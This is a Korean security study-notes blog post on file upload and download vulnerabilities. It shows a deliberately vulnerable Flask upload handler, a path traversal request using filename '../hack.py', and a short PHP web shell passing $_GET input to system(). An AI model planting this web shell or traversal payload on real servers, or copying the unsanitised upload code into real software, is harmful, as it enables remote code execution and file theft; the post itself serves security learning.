Dreamhack

File Vulnarability

kchabin 2022. 8. 24. 15:07

File Upload Vulnerability

공격자의 파일을 웹 서비스의 파일 시스템에 업로드하는 과정에서 발생하는 보안 취약점. 

파일 시스템 상 임의 경로에 원하는 파일을 업로드하거나 악성 확장자를 갖는 파일을 업로드할 수 있을 때 발생한다.

원하는 시스템 커맨드를 실행하는 원격 코드 실행 취약점을 유발할 수 있다.

 

이용자가 업로드될 파일의 이름을 임의로 정할 수 있을 때 발생. 

파일 이름에 이용자가 입력한 문자열을 그대로 사용하거나, 이용자의 이메일, 닉네임 등을 포함시키는 등의 소스 코드 패턴이 이러한 취약점을 발생시킨다.

 

1. Path Traversal

일반적인 서비스 -> 보안을 위해 특정 디렉토리에만 업로드 허용.

제한 x = 악의적 이용자가 웹 서버의 소스 코드나 서버에 있는 중요 시스템 파일을 덮어쓸 위험 존재. 

업로드에 존재하는 이러한 제약을 우회하여, 임의 디렉토리에 파일을 업로드할 수 있는 취약점.

 

from flask import Flask, request
app = Flask(__name__)
@app.route('/fileUpload', methods = ['GET', 'POST'])
def upload_file():
	if request.method == 'POST':
		f = request.files['file']
		f.save("./uploads/" + f.filename)
		return 'Upload Success'
	else:
		return """
		<form action="/fileUpload" method="POST" enctype="multipart/form-data">
			<input type="file" name="file" />
			<input type="submit"/>
		</form>
		"""
if __name__ == '__main__':
	app.run()

파일 업로드 기능에 Path Traversal 취약점이 있는 코드.

/fileUpload = POST 요청을 받으면 클라이언트가 전송한 파일을 ./uploads에 저장한다.

이용자가 입력한 파일 이름 f.filename을 그대로 사용하기 때문에 Path Traversal에 취약하다. 

예를 들어  공격자가 ../와 같은 메타 문자를 사용하면 uploads를 벗어나 상위 디렉토리에도 파일을 업로드할 수 있다.

 

정상적인 파일 업로드 HTTP 요청

POST /fileUpload HTTP/1.1
Host: storage.dreamhack.io
Origin: https://storage.dreamhack.io
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary20y3eoLVSNf9Ns5i
------WebKitFormBoundary20y3eoLVSNf9Ns5i
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
upload test !
------WebKitFormBoundary20y3eoLVSNf9Ns5i--

요청의 filename 필드의 값이 코드 내 f.filename 변수의 값이 되고, uploads 폴더에 test.txt가 생성된다.

 

서버 파일 시스템 확인

$ ls -lR
-rw-r--r--  1 dreamhack  staff  461  1 30 21:52 app.py
drwxr-xr-x  3 dreamhack  staff   96  1 30 21:31 uploads
./uploads:
total 8
-rw-r--r--  1 dreamhack  staff   13  1 30 21:31 test.txt

악의적인 파일 업로드 HTTP 요청

POST /fileUpload HTTP/1.1
Host: storage.dreamhack.io
Origin: https://storage.dreamhack.io
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary20y3eoLVSNf9Ns5i
------WebKitFormBoundary20y3eoLVSNf9Ns5i
Content-Disposition: form-data; name="file"; filename="../hack.py"
Content-Type: text/plain
[malicious file content]
------WebKitFormBoundary20y3eoLVSNf9Ns5i--

../ 메타 문자가 추가됐다. 상위 디렉토리에 파일이 저장된다.

요청을 전송하면 app.py 파일 위치와 같은 디렉토리에 hack.py가 생성된다. 

만약 app.py를 덮어쓴다면 서버가 재실행될 때 임의의 파이썬 코드를 실행할 수 있다.

$ ls -lR
-rw-r--r--  1 dreamhack  staff  461  1 30 21:52 app.py
-rw-r--r--  1 dreamhack  staff  431  1 30 22:12 hack.py
drwxr-xr-x  3 dreamhack  staff   96  1 30 21:31 uploads
./uploads:
total 8
-rw-r--r--  1 dreamhack  staff   13  1 30 21:31 test.txt

2. 악성 파일 업로드

이용자가 파일을 업로드할 때, 이를 제대로 검사하지 않아서 발생하는 취약점.

 

 

웹 쉘

.php, .jsp, .asp 와 같은 확장자의 파일을 Common Gateway Interface(CGI)로 실행하고, 그 결과를 반환한다.

<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

파일의 확장자가 정규표현식 ".+\.ph(p[3457]?|t|tml)$" 을 만족하면, x-httpd-php로 핸들링하게 하는 Apache 설정 파일.

이는 PHP 엔진이며 요청한 파일을 실행하고, 그 결과를 반환한다. 

.php, .php3, phtml 이 위의 정규표현식을 만족한다.

 

많은 웹 서버들이 php 파일에 대해 위와 같은 핸들링을 지원한다. 따라서 공격자가 임의의 php 소스 파일을 .php 확장자로 업로드하고, GET 요청을 보낼 수 있다면 CGI에 의해 해당 코드가 실행되도록 할 수 있다.

 

 

악의적인 웹 리소스

웹 브라우저는 파일의 확장자나 응답의 Content-Type에 따라 요청을 다양하게 처리한다.

만약 요청한 파일의 확장자가 .html이거나, 반환된 Content-Type 헤더가 text/html일 경우 응답은 HTML 엔진으로 처리된다.

 

.png, .jpg 같은 이미지 확장자 or  Content-Type이 image/png일  경우에는 이미지로 렌더링된다.

 

Ex)

서버에 exploit.html 업로드, 이에 접근하는 URL이 https://dreamhack.io/uploads/exploit.html이라면, 브라우저는 이를 HTML로 해석하고 exploit.html에 악의적인 스크립트를 삽입하면, XSS 공격으로 이어질 수 있다.

<?php
  system("ls");
  system($_GET[x]);
?>

↑ 임의 시스템 명령어 실행을 위한 exploit.php

 

Stored XSS

 

 

 

File Download Vulnerability

파일 다운로드 과정에서 발생하는 보안 취약점. 

공격자는 웹 서비스의 파일 시스템에 존재하는 임의 파일을 다운로드 받을 수 있다.

설정 파일, 패스워드 파일, 데이터베이스 백업 본 등을 다운로드하여 민감 정보 탈취 및 2차 공격 가능하다.

 

이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 때 발생하는 취약점.

 

Path Traversal = 파일 이름을 직접 입력 받아 임의 디렉토리에 있는 파일을 다운로드 받을 수 있는 취약점. 

 

 

 

 

 

 

'Dreamhack' 카테고리의 다른 글

SSRF 함께 실습  (0) 2022.08.24
파일 취약점 함께 실습  (0) 2022.08.24
Command Injection  (0) 2022.08.19
암호학 - 해시  (0) 2022.08.12
No SQL Injection 실습  (0) 2022.08.11